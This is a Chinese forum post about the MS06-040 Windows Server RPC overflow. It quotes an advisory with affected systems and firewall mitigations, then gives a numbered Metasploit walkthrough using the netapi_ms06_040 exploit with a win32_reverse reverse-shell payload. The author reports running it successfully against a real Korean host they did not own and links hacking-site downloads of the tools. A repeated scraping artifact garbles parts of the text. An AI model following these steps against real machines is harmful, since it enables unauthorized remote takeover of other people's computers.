最新MS06040漏洞的利用
Microsoft Windows Server服务远程缓冲区溢出漏洞 (MS06-040)
发布Do not irrigate.Otherwise deletes ID...期：2006-08-08
更新Do not irrigate.Otherwise deletes ID...期：2006-08-09
受影响系统：
Microsoft Windows XP SP2
Microsoft Windows XP SP1
Microsoft Windows Server 2003 SP1
Microsoft Windows Server 2003
Microsoft Windows 2000SP4
BUGTRAQ ID: 19409
CVE(CAN) ID: CVE-2006-3439
m7UVV
Microsoft Windows是微软发布的很流行的Do not irrigate.Otherwise deletes ID...作系统。
Microsoft Windows的Server服务在处理RPC通讯中的恶意消息时存在溢出漏洞，远程攻击者能够通过发送恶意的RPC报文来触发这个漏洞，导致执行任意代码.
临时解决方法
假如您不能立即安装补丁或升级，NSFOCUS建议您采取以下措施以降低威胁：
* 在防火墙阻断TCP 139和445端口。
* 使用个人防火墙，如Windows XP和Windows Server 2003捆绑的Internet连接防火墙。
* 在支持的系统上启用高级TCP/IP过滤功能。
* 在受影响的系统上使用IPSec阻断受影响的端口。
废话就不多说了,昨天朋友给了溢出工具,顺便测试了一下,成功率还真@@的高.就拿一台韩国肉鸡做实验.
目标: 211.234.*.104
漏洞利用工具下载: Metasploit V2.6
http://www.520hack.com/Soft/Soft4/200608/2352.html
漏洞扫描工具下载:MS06040漏洞扫描器
http://www.520hack.com/Soft/Soft6/200608/2339.html
下载下来先升级,运行安装目录下的 msfupdate.bat 文档 (要等蛮久,耐心点).
这个工具周详Do not irrigate.Otherwise deletes ID...作我就不多说了,我只介绍和这个漏洞有关的命令(当然,其他漏洞利用Do not irrigate.Otherwise deletes ID...作大同小异).
运行 msfconsole.bat , 这是控制台程式,升级完毕后界面如图1
1.输入命令 show exploits //显示溢出利用程式,里面有153个溢出程式,能够根据您们自己的需要来使用.
2.输入命令 use netapi_ms06_040 //使用netapi_ms06_040 利用程式
3.输入命令 show payloads //显示可用的shellcode例表,这里我们主要用 win32_reverse
这个Shellcode
4.输入命令 set PAYLOAD win32_reverse //配置 PAYLOAD 为
win32_reverse
5.输入命令 set RHOST 211.234.*.104 //配置被攻击的主机的IP
6.输入命令 set LHOST 125.71.2.104 //配置本机的IPD
7.输入命令 set TARGET 0 //配置溢出类型 一般选0
8.输入命令 set //检查输入的信息
9.输入命令 exploit //开始溢出
这样就溢出成功了.
文章没技术含量,就是需要能熟悉运用 Metasploit 工具,好了 就到这.
